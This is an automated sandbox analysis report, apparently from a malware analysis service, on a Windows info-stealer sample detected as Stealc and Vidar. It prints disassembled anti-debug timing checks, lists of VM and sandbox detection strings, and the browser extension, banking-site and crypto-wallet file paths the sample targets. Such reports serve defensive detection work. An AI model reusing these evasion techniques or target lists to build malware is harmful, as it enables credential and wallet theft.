Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150332 second address: 51503FC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FE9A9298660h 0x00000008 adc cx, 7158h 0x0000000d jmp 00007FE9A929865Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jmp 00007FE9A9298668h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d movzx eax, dx 0x00000020 push edx 0x00000021 pushfd 0x00000022 jmp 00007FE9A9298666h 0x00000027 or ch, 00000018h 0x0000002a jmp 00007FE9A929865Bh 0x0000002f popfd 0x00000030 pop eax 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007FE9A9298664h 0x0000003a add al, 00000078h 0x0000003d jmp 00007FE9A929865Bh 0x00000042 popfd 0x00000043 pushfd 0x00000044 jmp 00007FE9A9298668h 0x00000049 jmp 00007FE9A9298665h 0x0000004e popfd 0x0000004f popad 0x00000050 xchg eax, ebp 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51503FC second address: 515040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A87AE1EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515040F second address: 5150469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A9298669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FE9A929865Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FE9A929865Dh 0x0000001a xor esi, 42DC7D36h 0x00000020 jmp 00007FE9A9298661h 0x00000025 popfd 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150469 second address: 5150477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9A87AE1EAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150477 second address: 515047B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C00 second address: 5150C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE9A87AE1F7h 0x00000009 and al, 0000007Eh 0x0000000c jmp 00007FE9A87AE1F9h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE9A87AE1F3h 0x0000001f or ax, 948Eh 0x00000024 jmp 00007FE9A87AE1F9h 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C76 second address: 5150C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C7A second address: 5150C98 instructions: 0x00000000 rdtsc 0x00000002 mov cx, 2A33h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE9A87AE1F0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C98 second address: 5150C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C9C second address: 5150CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CA2 second address: 5150CC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9A929865Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE9A929865Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150CC4 second address: 5150CCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9E9ED4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9FCDCB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 841C50 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005E16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_005F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_005F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005EDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E1160 GetSystemInfo,ExitProcess,

0_2_005E1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: AAKJEGCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: AAKJEGCF.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: AAKJEGCF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: AAKJEGCF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: AAKJEGCF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: AAKJEGCF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: AAKJEGCF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: AAKJEGCF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: AAKJEGCF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: AAKJEGCF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: AAKJEGCF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2365609973.0000000001433000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: AAKJEGCF.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: AAKJEGCF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: AAKJEGCF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: AAKJEGCF.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: AAKJEGCF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AAKJEGCF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: AAKJEGCF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: AAKJEGCF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: AAKJEGCF.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32429
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-33619
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32432
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32452
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32484
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-32444

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_005F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9750 mov eax, dword ptr fs:[00000030h]

0_2_005F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6C68B66C

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005F9600

Source: file.exe, file.exe, 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: PtProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_005F7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_005F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_005F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2089686437.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2365609973.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 764, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2365609973.0000000001465000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
